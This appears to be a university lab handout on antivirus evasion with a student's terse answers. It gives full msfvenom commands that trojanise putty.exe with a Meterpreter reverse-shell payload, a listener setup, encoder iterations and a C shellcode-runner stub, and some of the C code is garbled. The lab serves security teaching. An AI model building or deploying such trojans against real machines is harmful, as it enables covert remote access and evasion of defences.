**Iyesha Thornton**

**ITP 325 – Lab 09 – Antivirus Evasion**

**Due:**

1 minute before the next class lecture

**Submission:**

1. Answer the questions at the end of this file, and name the document lab09.docx
2. Download the instructor’s GPG key from the following location:

<https://sites.google.com/a/usc.edu/chiso/files>

GPG encrypt the \*.docx with the instructor’s and your own GPG key.

1. Place the encrypted document into the repo and push to changes GitHub

**Procedure:**

**You will be doing the following in Kali Linux:**

1. Startup both a Kali and Windows XP VM. Make sure both VMs can communicate with each other.
2. Try to hide a Metasploit payload within a binary. Download the following binary within Kali.

Putty:

<http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe>

Make sure it’s in your home folder.

1. Run the following command:

*# cd*

*# msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.10*

*LPORT=443 --arch x86 --platform windows -x ~/putty.exe -k -f exe > putty\_cool.exe*

**Note:** Replace 192.168.1.10 with the IP address of your Kali machine.

1. Startup msfconsole and run the following:

*# msfconsole*

*msf > use exploit/multi/handler*

*msf exploit(handler) > set payload windows/meterpreter/reverse\_tcp*

*msf exploit(handler) > set lhost 192.168.1.10*

*msf exploit(handler) > set lport 443*

*msf exploit(handler) > exploit*

**Note:** To do the rest of the lab, you need to make sure you have this handler ready for incoming connections.

1. Get the putty\_cool.exe onto the Windows XP VM, and see if it makes a callback to your Kali machine.
2. Let’s redo the Trojan and add in some encoding:

*# msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.10 LPORT=443 --arch x86 --platform windows -e x86/shikata\_ga\_nai -i 5 -x ~/putty.exe -k -f exe > putty\_cool\_2.exe*

1. Repeat steps 4 and 5 and see if you can get a callback from the \*.exe
2. Let’s try some cross compiling. Generate some shellcode by running the following:

*# msfvenom -p windows/meterpreter/reverse\_tcp --arch x86 --platform windows LHOST=192.168.1.10 LPORT=443 -f c -e x86/shikata\_ga\_nai -i 5*

Save the output for later.

Open up a new file called customsploit.c and write in the following code:

*#include <stdio.h>*

*unsigned char random[]= ;*

*􏰀*

*unsigned char shellcode[]=􏰁 <insert your shell code here>:*

*int main(void)􏰂 {*

*((void (\*)())shellcode)();*

*return 0;*

*}*

Generate some random values and assign that to the “random[]” variable you have in the \*.c file

*# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512*

Compile the \*.exe for Windows by doing the following:

*# apt-get install mingw32*

*# i586-mingw32msvc-gcc -o customspolit.exe customsploit.c*

1. Repeat steps 4 and 5 and see if you can get a callback from the \*.exe

**Questions:**

1. Obtain a VM with MSE (Microsoft Security Essential), move all the \*.exe onto the VM and see if MSE detects your malware. What did you find?
2. Nothing
3. Download a new virus scanner into the Windows VM. Redo Question 1, did you find any differences?
4. Yes
5. Upload your \*.exe’s to VirusTotal. Did it find your custom sploits? What were your findings?
6. Life